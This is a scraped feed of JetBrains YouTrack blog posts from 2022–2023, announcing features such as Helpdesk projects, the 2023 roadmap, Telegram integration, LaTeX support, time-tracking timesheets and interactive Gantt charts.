The YouTrack Blog : Powerful project management for all your teams | The JetBrains Blog https://blog.jetbrains.com Developer Tools for Professionals and Teams Wed, 26 Apr 2023 15:36:39 +0000 en-US hourly 1 https://blog.jetbrains.com/wp-content/uploads/2023/02/cropped-icon-512-32x32.png The YouTrack Blog : Powerful project management for all your teams | The JetBrains Blog https://blog.jetbrains.com 32 32 Helpdesk Projects Arrive in YouTrack https://blog.jetbrains.com/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ Tue, 25 Apr 2023 17:52:09 +0000 https://blog.jetbrains.com/wp-content/uploads/2023/03/blog_featured_en.png https://blog.jetbrains.com/?post_type=youtrack&p=323818

YouTrack 2023.1 introduces YouTrack Helpdesk, which enables you to streamline your customer support services for both external and internal clients. With the new Helpdesk project type, significant improvements for support agents, and the ability to work with an unlimited range of customers and their requests, YouTrack brings experienced customer support to all of your teams’ projects in one easy-to-use tool.

But that’s not all that’s new in YouTrack 2023.1. Enhancements to the Knowledge Base make it easier to build public documentation and FAQs. The Zendesk and mailbox integrations have been improved to make migrating your customer support service easier. New content options, like the ability to embed Miro boards and Google Drive videos into your tasks and articles, will help you enrich your Knowledge Base, tickets, and tasks.

YouTrack Helpdesk in a nutshell

The YouTrack Helpdesk experience starts with the new, dedicated Helpdesk project type. We designed these projects with support agents and other team members in mind, helping you organize your support system for external customers or your service desk for internal ones. You work with these projects in the same YouTrack interface you know and love, alongside other projects that your teams manage. Customer requests can be collected through emails or a customizable form that you can build into a website or internal portal. These requests then arrive in the Helpdesk project as tickets.

When working on tickets, your support agents have access to a number of instruments specifically tailored to common support scenarios, such as internal and external comments, signature and answer templates, service-level agreement (SLA) management features, and more. Ticket updates are then delivered to the customers via email.

You can use YouTrack to more closely connect with your customers. By following your YouTrack URL, reporters will get access to their tickets and the public Knowledge Base content. The Knowledge Base stores not only documents that are visible to your team members, but also publicly available FAQs, documentation, and other resources that are valuable for reporters.

In Helpdesk projects you can work with an unlimited number of customers and requests for free. Each Helpdesk project starts with 3 support agents who can use all of the functionality for free, in both YouTrack Server and YouTrack Cloud. If your support team grows, you can switch to a paid subscription for 4 or more agents at any time. For users of other helpdesk solutions, we offer 10 support agents for 1 year for free in YouTrack Helpdesk Cloud. For more details, check out the pricing page for YouTrack Helpdesk.

Helpdesk projects are designed with support agents and other team’s members in mind

Providing quality support is unimaginable without a convenient workspace where your support agents can communicate with customers. We’ve listened to feedback from multiple support teams and worked to assemble a collection of features that will help them deal with their tickets smoothly and efficiently.

Customer-centricity often starts with involving multiple team members when handling customer requests. With YouTrack Helpdesk, it’s easy for members of various teams to collaborate on support tickets and help resolve questions. With minimal time lost due to context switching, members of other teams can help support agents without sacrificing their own productivity.

Helpdesk for support agents

Collect the information you need from customers

YouTrack Helpdesk allows you to collect tickets through both email and customizable forms. Using a form to collect tickets gives you the flexibility to define mandatory and optional fields. Once you have finalized your form and like how it looks in the YouTrack visual editor, you can simply copy a code block and embed it in the site where your customers will use it.

Overview of the tickets

As a support agent, when it’s time to take care of incoming tickets, the best place to start is the dedicated Helpdesk view. You can get an overview of all of the tickets or easily switch between predefined searches, such as “All tickets”, “Unresolved tickets”, “Tickets assigned to you”, and others. Various filters and customizable columns allow you to review necessary details, and you can always save a filtered search so you can check on it later or simply share it with your colleagues.

Discuss tickets with the team and publish your answers

When a support agent comments on a ticket, they have the choice to send the response directly to the customer or keep it internal. In the latter case, other team members will still be able to participate in the discussion, but their answers will only be visible internally. When a solution is ready, the support agent can publish an external answer, which will be sent to the customer in an email.

If there is a typo or mistake in the message, agents have 60 seconds to unpublish their comments.

Use pre-defined signatures and answer templates

If you need to type the same responses repeatedly, you can save yourself time with answer templates and automatic signatures. You can add common answers to the templates in the Helpdesk project settings, and then use them when posting comments. Agent signatures can also be pre-defined and automatically added under every public agent reply.

Track response times with SLAs

Helpdesk projects make it easier for your team to manage SLAs. You can specify the expected turnaround time for requests depending on various criteria, such as your working days and hours, type, priority, and others. YouTrack will update the tickets with the actual SLA timeline automatically.

Automate your support with workflows 

YouTrack workflows bolster the support you can provide, with multiple options to customize the processes to suit both your customers and your team. Some predefined workflows are available out of the box, including ones that allow you to merge duplicate tickets, close pending tickets automatically, and more.

You always have the option to use a visual workflow constructor or JavaScript workflow editor to create more powerful automations for your support process. For example, workflows can be designed to redirect requests to the appropriate team or agent based on the request type or other criteria, and much more.

Helpdesk from other teams’ perspectives

The better your support team and the rest of your company collaborate on requests, the greater the chances are that your customers will get the answers they need. 

Ensure communication security

The support projects themselves are visible to all reporters, while tickets within the projects are only visible to the reporter who created it and the support team. All of a ticket’s information and the communication inside it is fully secure and accessible only to the Helpdesk project team and the reporter. Reporters see only the tickets they’ve submitted, meaning that private customer data will not be disclosed publicly. However, you can always update the internal visibility settings for your team, choosing who should be a part of each Helpdesk project, either by collaborating as support agents or by simply viewing the data and internally commenting on tickets as project members.

Even if you enable a Helpdesk project in YouTrack and make it available to a specific team, the rest of your organization will not be able to view the YouTrack Helpdesk and its tickets unless they are a part of that project. 

Easily jump in to help

Colleagues who are not directly responsible for support and are simply invited to discuss specific cases can easily switch between tickets and other tasks in the Issues view they are already accustomed to. All of the common workflows will remain intact, and it will be easy to step in to help. For example, ticket notifications are delivered the same way as they are for tasks.

Manage your process with a concise overview

YouTrack reports provide information about tickets. Reports covering ticket distribution, time, and state transition provide managers with crucial information about the support workflow.

Building on these reports, you can also create separate dashboards to get different overviews, for example, how busy your customer service team is on any given day.

Invite your customers to YouTrack Helpdesk

Your customers will always get replies to their requests via email. But what if you’d like them to have access to more information in one place? Invite them to YouTrack directly!

Using the same YouTrack URL as your team members, your customers will get access to a public knowledge base and a list of their tickets with all of the public updates. Though they’ll have access to this public information, your team’s internal communication on the ticket won’t be visible to them.

Customers will also be able to continue their conversation with your team in the comments of tickets, provide you with additional information by attaching files, and more.

Other enhancements in YouTrack 2023.1

Use tags and powerful search functionality in your Knowledge Base

The Knowledge Base in YouTrack is often used for building FAQs or product documentation. With the introduction of Helpdesk projects and unlimited reporters in YouTrack, it’s a great time to start building a public Knowledge Base for your clients. 

YouTrack’s granular visibility approach will help keep information directed to specific audiences. Because articles in the Knowledge Base belong to a specific project, you can create a separate Helpdesk project where you publish all of your external documentation and make it available for reporters. Your support team may also find it convenient to have internal articles in the Knowledge Base. If you decide to store them in the same project, you can use article visibility settings to specify which content is accessible to the public and which is internal only.

The ability to efficiently find relevant information in the Knowledge Base is important for both your external customers and your team members. To help, we’ve added filters to make the Knowledge Base’s search functionality more powerful. Additionally, Knowledge Base articles now support tags for internal users.

Zendesk and mailbox integration improvements

Zendesk integration update. If you use Zendesk to handle customer requests, take a look at the improved Zendesk integration. It may help you migrate the support service to the new tool or run them in parallel. With Zendesk integration enabled, you get a streamlined approach for all of your customer requests. When a new ticket appears in Zendesk, the integration creates a new ticket in YouTrack with a link to it.

Mailbox integration improvement. We have improved both performance and reliability when working with emails, ensuring your mailbox integrations and communication with customers in Helpdesk projects is efficient. For YouTrack administrators, we’ve added a view to check the status of the mailbox integration and control the flow of processed emails.

 

 

Check out the Release Notes for the full technical details and list of bug fixes and improvements in this release, and to learn more about configuring the new features, visit the documentation.

If you use YouTrack Cloud, your YouTrack will automatically be upgraded to version 2023.1 in accordance with our Maintenance Calendar. If you have an active Server subscription, you can download YouTrack 2023.1 today. If you don’t already have a license, you can use the free trial to test out the new version for yourself before you commit to buying! For more information about the licensing options available for YouTrack and YouTrack Helpdesk, please visit our Buy page.

YouTrack Helpdesk will be available to all YouTrack Server customers, as well as to all YouTrack Cloud customers with the Free plan or a per-user commercial subscription following the upgrade to 2023.1. Cloud customers with the old user-package subscriptions must migrate to the new per-user subscription model to get started with YouTrack Helpdesk. Please contact our sales team to learn more.

We always appreciate your feedback. Please share it with us in the comments below, and don’t hesitate to get in touch with our support team if you have any questions. We’re always here to help!

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/tr/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/pt-br/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/ko/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/ja/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/fr/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/es/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/ https://blog.jetbrains.com/de/youtrack/2023/04/helpdesk-projects-arrive-in-youtrack/
YouTrack Roadmap 2023 https://blog.jetbrains.com/youtrack/2023/02/youtrack-roadmap-2023/ Mon, 13 Feb 2023 10:13:13 +0000 https://blog.jetbrains.com/wp-content/uploads/2023/02/Blog_Featured_image_1280x600-2.png https://blog.jetbrains.com/?post_type=youtrack&p=323225 As we kick off the new year, we’d like to share an updated roadmap and highlight YouTrack’s long-term goals for the future. Thanks to our dedicated users, YouTrack’s customer base has been growing rapidly worldwide, and we’re committed to making an even more powerful tool for teams across industries.

Our product commitment and aspirations

Last year, we shared our 2022 roadmap and long-term plans, and we’re happy to report that our vision has been well received, so our product commitment stands.

YouTrack is on the road to becoming a universal tool for teams in software development and IT departments, product and project management, marketing, finance, administration, and many other spheres, one that allows you to work, collaborate, and communicate your way.

Our long-term plan is to keep developing YouTrack to address a broader range of use cases, from simple task management for small and medium-sized companies to coordinating complex projects for large enterprises.

We’re committed to giving you the freedom to choose where your applications and data are hosted. That’s why we’re continuing to develop YouTrack Cloud and Server in tandem, so teams can easily migrate between cloud and on-premises hosting when needed.

What we’re working on in 2023

Helpdesk

First up, we’re introducing a dedicated Helpdesk solution for teams that do external customer support or manage internal requests. The new Helpdesk projects will streamline the work of support agents and make collaboration between them and other colleagues – contributors in the organization – a breeze.

You’ll be able to manage your support flow in Helpdesk with a separate flexible licensing model on a price-per-agent basis with additional free reporter capacity included in the subscription. 

Helpdesk will come with a streamlined view for support agents to work on requests, publish external and internal comments, and create templates for replies, as well as workflows for managing custom support service-level agreements.

There also will be a customizable feedback form for reporters to submit their tickets. The form will be ready to use for embedding on external web pages or portals.

Knowledge Base

We’re focusing on making the Knowledge Base more robust with redesigned search and navigation options, tags for articles, and improved collaboration features. Plus, YouTrack will start to deliver notifications about Knowledge Base activity to the Notification Center and all other notification channels.

Workflow Constructor

With the popularity of project automations steadily increasing, we’re further expanding the rules available in the Workflow Constructor, providing more access to the power of workflows without requiring you to write JavaScript code.

Making YouTrack more intuitive and user-friendly

We’re constantly working on making it easier to find and organize tasks and projects. In 2023, we’ll try to introduce any changes gradually to ensure that the user experience doesn’t change significantly. We want to make sure that for all of our customers, daily YouTrack routines won’t require significant additional learning or administrator support.

Nevertheless, with the addition of new modules, such as Timesheets, Gantt charts, and Helpdesk projects, YouTrack is becoming a platform for many members of various teams. We’re looking into providing such teams with additional ways to organize their work more conveniently in a new layout.

Interface localizations

We’ll be adding Turkish language support to the list of unofficial localizations provided by community contributors and curated by JetBrains. We have plans to add more localizations beyond the current 15, based on user demographics and demand.

History Browser report

The History Browser report lets you see the volume of issues that matched a search query over time and enables you to drill down to view exactly when search results and individual issues appeared.

Agile boards

Our plans for Agile boards include simpler configuration, improvements for working with backlogs, and card customization.

Text recognition

This feature will allow you to instantly grab text from attached images, such as screenshots of system information windows.

If you followed our release plans last year, you’d notice that some of these features are things that we announced in 2022. These are the aspects the team is currently continuing to work on, so we included them in this year’s roadmap.

Broad goals for 2023 and beyond

Our long-term plan for YouTrack is to continue improving its flexibility so more teams are able to work in the ways they are already accustomed to and can enjoy the transparency or efficiency boost from bringing their projects to life with YouTrack.

Apps for more customization

Many teams are now migrating to YouTrack from other project management tools, so we want to make YouTrack more customizable for them and also encourage technical and consulting partners to create and share apps for YouTrack.

We also plan to bundle some of these apps into YouTrack and provide them by default. For example, we plan to implement the Zapier integration in the apps section as a way to automate your business processes.

More planning tools

To help teams with complex projects, we’re looking to provide additional planning options. We already offer interactive Gantt charts, which we plan to enhance further, and we’ll add dedicated planning boards and roadmapping tools, among other things.

Simpler administration

We are planning to streamline the administration of teams, apps, and project customizations. Specifically, we’re going to re-design the experience for administrators, making it easier to set up custom fields and making the workflow administration process more transparent. Enhanced project templates are also a part of the streamlining effort.

YouTrack for large organizations

We will be focused on cloud stability, performance, and fault tolerance, among other things. For our customers, this means that YouTrack Cloud will be able to handle more data with speed, grace, and reliability. We’re making our cloud better so it can match the ever-growing business demands.

As for YouTrack Server, we’re working on adding support for multi-node installations, which will provide enhanced performance and availability at scale.


Please keep in mind that these plans constitute our current vision and that it might change when we delve deeper into specific customer scenarios.

Subscribe to our blog and follow us on Twitter for updates on all our latest news. If you have any feedback or suggestions, please don’t hesitate to comment below. If you’re interested in more details on the features we’re working on, please feel free to check out our public project tracker. There you can find feature requests to vote for, and you can subscribe to get notifications about our progress on them by clicking the star icon.

Every year, we get thousands of requests from you that inspire us to look for ways to make YouTrack better for teams. Thank you for choosing YouTrack, and we look forward to working with you on the new features.

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/tr/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/pt-br/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/ko/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/ja/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/fr/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/es/youtrack/2023/02/youtrack-roadmap-2023/ https://blog.jetbrains.com/de/youtrack/2023/02/youtrack-roadmap-2023/
Watch the “YouTrack Project Management: Essentials for Getting Started” Online Demo https://blog.jetbrains.com/youtrack/2022/12/join-our-youtrack-project-management-essentials-for-getting-started-online-webinar/ Sun, 04 Dec 2022 11:39:00 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/10/DSGN-14655_YouTrack_Project_Management_Essentials_for_Getting_Started_Blog_Featured_image_1280x600.png https://blog.jetbrains.com/?post_type=youtrack&p=291378

In this YouTrack webinar recording, you’ll get an overview of how to manage your tasks and projects easily, work with your team’s Agile boards, use powerful time tracking, create Gantt charts effectively, and see what’s going on with reports and dashboards.

We’ve included real examples of how JetBrains YouTrack can organize teamwork and bring diverse teams together in a single collaborative environment for software development, customer support, product and project management, marketing and design, HR, legal, and administrative teams.

There really is something for everyone! New users can get a thorough introduction to YouTrack, while experienced users can get up to speed on all of the latest developments, including Gantt сharts and Timesheets. Those in management roles will be able to see examples of how YouTrack can be implemented to help manage and organize diverse teams.

Watch the webinar recording

Contents:

0:00 – Intro
3:28 – Online Demo starts: YouTrack Projects page
5:45 – Managing the Knowledge Base
8:55 – Working with issues and tasks
14:55 – Issue List
17:40 – Workflows
26:05 – Interactive Gantt chart
28:55 – Agile Boards
32:44 – Intro to VCS and Space integrations
34:55 – Tracking time with IDE plugin and in YouTrack directly
36:37 – Timesheets
38:00 – Reports in YouTrack
39:14 – Dashboards
42:25 – Helpdesk preview
46:00 – Prices and ways to get started easily
50:00 – Q&A session

See you online!
Your YouTrack team

]]>
YouTrack Adds Telegram Integration https://blog.jetbrains.com/youtrack/2022/11/youtrack-adds-telegram-integration/ Thu, 17 Nov 2022 11:32:00 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/11/blog_featured_youtrack_en-e1676284405408.png https://blog.jetbrains.com/?post_type=youtrack&p=295033

The latest YouTrack update brings out-of-the-box Telegram integration. You can use Telegram as one more channel to stay connected, along with Slack, emails, and the YouTrack Notification Center. In Telegram chats, you can immerse yourself in conversations about various issues and articles, update them, create new ones, and get notifications concerning the issues you subscribed to.

What can you do with Telegram?

The YouTrack bot for Telegram lets you interact with issues and articles directly from the Telegram messaging app. When an administrator activates this feature for your YouTrack, everyone in your team can choose to interact with the YouTrack content from Telegram.

You will see previews for links to issues, get notifications when someone creates, updates, or comments on an issue or article you follow, and apply commands to update tasks and articles without leaving the chat. You can also create a draft task or article without leaving the Telegram app.

Administrators, it’s time to activate Telegram integration

When you enable the integration in the YouTrack Administration — Global settings menu, the YouTrack bot gets authorization to be used with Telegram. After that, your team members will be able to set up the Telegram notifications themselves.

Use Telegram for your notifications

When Telegram integration is activated for your YouTrack, you’ll have the ability to deliver your notifications to the YouTrack bot for Telegram. The chat window will serve as your notification center in YouTrack. You can choose to deliver notifications to all possible channels (the built-in notification center, email, Telegram, and others) or select one you prefer.

Notifications about issues and articles include active links to them, so you can proceed directly to the item in question. There are also multiple actions you can take using commands without even leaving the Telegram chat.

Organize group discussions

You can add the same YouTrack bot to the group chat in Telegram to easily bring the discussion from Telegram to your issues. No worries, the bot won’t spam the group with the notifications – it reacts to commands only. For example,

/discuss <Issue ID> will convert a channel into a forum for discussing an issue. When discussion mode is active, messages are posted to YouTrack as comments.

Comments are only posted on behalf of users who have authorized the YouTrack bot and have a registered account on the YouTrack site where the issue was created. The bot ignores all messages posted by people who don’t meet these conditions.

To exit discussion mode, use the /wrapup command.

Please check out the YouTrack documentation to learn more about setting up the Telegram integration.

Other improvements in YouTrack 2022.3

Enhancements for timesheets users. We have added a multi-record data entry to Timesheets. It allows recording multiple activities for multiple dates or for a date range for one task in one go.

More actions for workflow fans. In Workflow Constructor, available actions now include adding issue links, work items, or requiring values for specific fields. In action rules in JavaScript workflows, you may now request user input.

Importing articles from Space has been added to a list of available imports in the Imports Wizard.

For those setting up YouTrack Servers, we’ve created a guide for running it on a Kubernetes cluster.

Please refer to the Release Notes for the full technical details and list of bug fixes and improvements in this release. To learn more about configuring the new features, visit the documentation.

If you use YouTrack Cloud, your YouTrack will automatically be upgraded to YouTrack 2022.3 in accordance with our Maintenance Calendar. If you have an active Server subscription, you can download YouTrack 2022.3 today. If you don’t already have a license, you can use the free trial to test out the new version for yourself before you commit to buying! For more information about the licensing options available for YouTrack, please visit our Buy page.

We truly appreciate all your feedback, so please share it with us in the comments section below. Please get in touch with our support if you have any questions – we’re always here to help!

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2022/11/youtrack-adds-telegram-integration/ https://blog.jetbrains.com/pt-br/youtrack/2022/11/youtrack-adds-telegram-integration/ https://blog.jetbrains.com/ko/youtrack/2022/11/youtrack-adds-telegram-integration/ https://blog.jetbrains.com/ja/youtrack/2022/11/youtrack-adds-telegram-integration/ https://blog.jetbrains.com/fr/youtrack/2022/11/youtrack-adds-telegram-integration/ https://blog.jetbrains.com/es/youtrack/2022/11/youtrack-adds-telegram-integration/
Subscribe to Our Brand-New YouTube Channel https://blog.jetbrains.com/youtrack/2022/09/subscribe-to-our-brand-new-youtube-channel/ Wed, 14 Sep 2022 09:33:42 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/09/Blog_Featured_image_1280x600-2-2.png https://blog.jetbrains.com/?post_type=youtrack&p=278843

We finally got our own YouTube channel, where you can already find a collection of our product overviews, webinar recordings, and some of our favorite ads. There is more still to come! Subscribe to our channel today so you’ll never miss an update. Don’t forget your team members. Feel free to share the link to get them on board with YouTrack.

Subscribe to our new YouTube channel

We’ve also created a YouTrack Global collection with localized videos. We encourage you to take some time to explore the Chinese, French, German, Japanese, Korean, Portuguese, Russian, and Spanish playlists.

We’ve also added one more way to stay connected with us! If you prefer to use social media, follow the YouTrack page on Facebook for all the latest updates.

Follow YouTrack on Facebook

Let us know what sorts of content you would like to see most in the comments. We’re looking forward to hearing from you!

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2022/09/subscribe-to-our-brand-new-youtube-channel/ https://blog.jetbrains.com/pt-br/youtrack/2022/09/subscribe-to-our-brand-new-youtube-channel/ https://blog.jetbrains.com/ko/youtrack/2022/09/subscribe-to-our-brand-new-youtube-channel/ https://blog.jetbrains.com/fr/youtrack/2022/09/subscribe-to-our-brand-new-youtube-channel/ https://blog.jetbrains.com/es/youtrack/2022/09/subscribe-to-our-brand-new-youtube-channel/
Do You Speak Math? So Does YouTrack! https://blog.jetbrains.com/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ Tue, 09 Aug 2022 19:53:38 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/08/Blog_Featured_image_1280x600-1-5.png https://blog.jetbrains.com/?post_type=youtrack&p=271821

Thousands of academic institutions and students across the globe use YouTrack for software development and project management courses, as well as in research. If you’re working in this field and searching for a tool that, like you and your colleagues or your fellow students, speaks the language of mathematics, look no further than YouTrack.

LaTeX notation support 

YouTrack has recently added support for math formulas, which should be useful for math and technical students, project teams, and instructors. YouTrack’s text editor supports LaTeX notation for equations and formulas, so you can add and edit LaTeX equations and formulas directly in YouTrack tasks, articles, and comments. 

Say you have a mathematical formula formatted in LaTeX, and you need to show it in a YouTrack issue or an article. All you need to do is to put it inside a fenced code block and specify LaTeX as the language. YouTrack will recognize the LaTeX markup and render the formula for you.

When you edit an issue in YouTrack Classic, you can see the rendered formula in the preview. After you save your changes, the issue displays the rendered output.

When you edit an article or an issue in YouTrack Lite, you can see a preview of the rendered formula in Visual mode.

YouTrack uses the KaTeX library for processing LaTeX formulas. For the full list of supported symbols and functions, see the library reference.

How to get YouTrack for educational projects

If your research project or educational institution isn’t using YouTrack yet, here’s how you can take advantage of our various offers.

Free for small teams 

YouTrack is always free for small teams of up to 10 users, which is often enough for small student projects. We recommend starting with the cloud version, so you can get a fully set-up instance in 2 minutes and can start experimenting with math formulas and other features you need to collaborate on your project.

Get YouTrack for free

Free for classrooms in educational institutions

Classroom licenses for educational institutions are also available free of charge. Universities, colleges, schools, and non-commercial educational organizations can get YouTrack in their classrooms for free.

Apply for a free YouTrack Classroom license

50% off for universities and educational organizations

Universities and accredited educational institutions can receive a 50% discount on commercial subscriptions for developing their internal projects and applications. Please contact our sales team to request a free quote.

Request a 50% discount

If you have any questions about how to use YouTrack in your educational or research projects, feel free to contact our team. We’re here to help!

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/tr/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/pt-br/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/ko/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/ja/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/fr/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/es/youtrack/2022/08/do-you-speak-math-so-does-youtrack/ https://blog.jetbrains.com/de/youtrack/2022/08/do-you-speak-math-so-does-youtrack/
YouTrack Now With More Powerful Time Tracking https://blog.jetbrains.com/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ Tue, 05 Jul 2022 15:51:48 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/07/featured_youtrack_en.png https://blog.jetbrains.com/?post_type=youtrack&p=258030


YouTrack 2022.2 comes with an incredible set of enhancements for your time tracking routines. It offers timesheets for working groups and custom attributes for work items. Additionally, you can now migrate your issues from Google Sheets, as well as from CSV and XLSX files to YouTrack with a new built-in import feature, and use color formatting for your articles and issues. Oh, and YouTrack now offers localization into Italian and Ukrainian, and you can switch YouTrack and Mobile application to one of the fifteen languages! 

Time tracking enhancements

Previously on YouTrack…

In an old blog post, we wrote about YouTrack’s time tracking capabilities. Here’s a quick recap of the essentials:

YouTrack’s approach to time tracking is organized around three main categories: estimation, work items, and spent time.

A work item is an entry that describes a piece of work done on a task. It includes information about the author, date, duration, and type of work, and it also has an optional comment field. For example, a work item could describe 4 hours of development that you did yesterday. Work items are added to issues, and one issue can have many work items with different authors, types, and durations.

An issue’s “Spent time” field contains the sum of the durations of all the work items logged for that issue. 

Now that you’re up to speed, we can move on to the features that have been added this time around.

Custom attributes for work items

As we were carefully reviewing your feedback on our time tracking features, we realized that lots of teams were missing the same thing: the ability to specify more details for each work item.

YouTrack now allows you to create custom attributes for work items. You can use them, for example, to specify where work took place – allowing you to calculate travel expenses properly – or to select overtime rates or mark spent time as billable. It’s all up to you. You can give the custom attributes whatever names you want and manage them separately for each project.

When entering the time they’ve spent on a task, your team members will choose from work attributes relevant to the projects they are working on. These details will be available in the tasks, timesheets, and time tracking reports.

Timesheets for workgroups

Timesheets are here to help you manage time tracking activities. Whether you are interested in a specific user or a whole project, you will always be able to see the overall time spent – all presented on one page. In YouTrack 2022.2, we’ve introduced one more tab to the Timesheets page – workgroups. This tab is particularly useful for efficiently tracking time spent for cross-functional matrix teams and ad hoc task forces. You can create as many groups as you need by combining your teammates and existing YouTrack groups and teams. 

Now, having all three types of timesheets available, you can choose the most convenient view for you. For example, you can create external billing reports for external customers or collect team performance statistics for internal analysis. 

Built-in option to import from Google Sheets

We’ve added support for importing issue data from Google Sheets. This means you can effectively import issues from any tracker that exports data in a compatible format, including CSV and XLSX. You can also use the ability to import from Google Sheets as a tool for importing issues in bulk. 

Color formatting for your issues and articles

Which color is the “new black”? You decide! Use the new selectors in the rich text editor to change the color of your text or to highlight it. It’s now easier than ever to direct the attention of your users to the most important parts of your announcement or feature request.  

As a bonus, we’ve added an option to edit your images right from the rich text editor. It lets you crop, highlight, draw, and blur images to make your issues and articles more descriptive.

That’s not all!

Thanks to contributions from our community translation project, YouTrack is now available in Italian and Ukrainian. In their profile settings, each user can choose from 15 languages, including English, official localizations into Chinese, Korean, Brazilian Portuguese, French, German, Japanese, Russian, and Spanish, and community translations into Czech, Polish, Hebrew, and Hungarian. 

The YouTrack mobile app now offers a localized UI as well. The app will be automatically preset to whichever official language is selected for a user on main YouTrack instance.

Check out the What’s New page for more information, or refer to the release notes for the full technical details of this release. To learn more about configuring the new features, take a look at the documentation.

If you use YouTrack Cloud, your instance will automatically be upgraded to YouTrack 2022.2 in accordance with our Maintenance Calendar. If you have an active Server subscription, you can download YouTrack 2022.2 today. If you don’t already have a license, and if you’d like to give YouTrack 2022.2 a try before committing, you can use the free version for up to 10 users! For more information about the licensing options available for YouTrack, please visit our Buy YouTrack page.

We appreciate all your feedback, so please share it with us in the comments section below. Please get in touch with our support team if you have any questions. We’re always here to help!

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ https://blog.jetbrains.com/pt-br/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ https://blog.jetbrains.com/ko/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ https://blog.jetbrains.com/ja/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ https://blog.jetbrains.com/fr/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ https://blog.jetbrains.com/es/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/ https://blog.jetbrains.com/de/youtrack/2022/07/youtrack-now-with-more-powerful-time-tracking/
YouTrack Now With Interactive Gantt Charts https://blog.jetbrains.com/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ Tue, 15 Feb 2022 18:18:12 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/02/blog_feature_image_en-2x-1.png https://blog.jetbrains.com/?post_type=youtrack&p=225560

Version 2022.1 introduces one of the most exciting developments in YouTrack history – interactive Gantt charts! 

The interactive Gantt timeline is a fundamentally novel approach to project planning and task management in YouTrack, and it opens up a new dimension for further development.

The new Gantt chart in a nutshell 

Put very simply, the new interactive Gantt chart lets you plan an entire project by simply dragging and dropping tasks on a timeline to schedule them, and stretching them to set estimates. Dependencies between tasks are just as easy to apply. Once they’re established, you can tweak estimates and scheduling and then click the Recalculate button to update the start dates of tasks that are affected further along the timeline.

Unrestricted task hierarchy

The hierarchical tree view to the left of the chart represents parent-child relationships between tasks. You can drag and drop tasks in the hierarchy to group them in logical sets.

The parent-child hierarchy has no depth limit and no structure restrictions, so you can break out of the standard Epic-Task-Subtask model to depict the real relationships between epics, tasks, and subtasks from multiple projects. Work estimates are aggregated up through the hierarchy, making it easy to see how much time is required to reach milestones at each level.

Take the new Gantt chart for a spin

If you’d like to experiment with the new interactive Gantt chart but you don’t want to reschedule a whole bunch of important tasks, you can generate a demo project or register a free YouTrack InCloud instance to use as a sandbox.  

It’s early days and there are enormous opportunities for further development of the new Gantt functionality, so the sooner we get your feedback and feature requests, the sooner we can begin working on them!

State-machine rules in Workflow Constructor

You can now create state-machine workflow rules without writing JavaScript! State-machine rules let you define flowchart-style processes that limit the transitions that can be made between issue states, and the order they can be made in.

This lets you require issues to pass through a specific sequence of states before they are resolved, for example to ensure that purchase requests are reviewed by everyone responsible for their approval:

This type of workflow can make sure that bugs aren’t fixed without QA, documentation isn’t published without review, and pinball machines aren’t purchased without permission.

You can combine state-machine and on-change rules to set conditions that must be satisfied in order to make specific state transitions and trigger actions when they are made. For example, you can require that a task must have a time estimate before it is transitioned to In Progress, and then automatically assign it to the user who changed its state. 

Building workflows like this in Workflow Constructor is obviously much simpler than coding them in JavaScript, but our Workflows Community in Slack is always ready to help you solve any tricky problems.

You can now find issues based on attributes of issues that they are linked to. 

Here’s an example search to find issues in a specific project that are dependent on unassigned issues:

And here’s how the search query works:

But wait, there’s more!

The YouTrack team has been busy all winter to bring you a whole load of updates and improvements. You can now view VCS changes in YouTrack Lite, get Knowledge Base updates in Notification Center, write formulas and equations in LaTeX notation, and import Space projects, issues, and users! 

Check out the What’s New page for more information, or refer to the Release Notes for the full technical details of this release. To learn more about configuring the new features, visit the documentation.

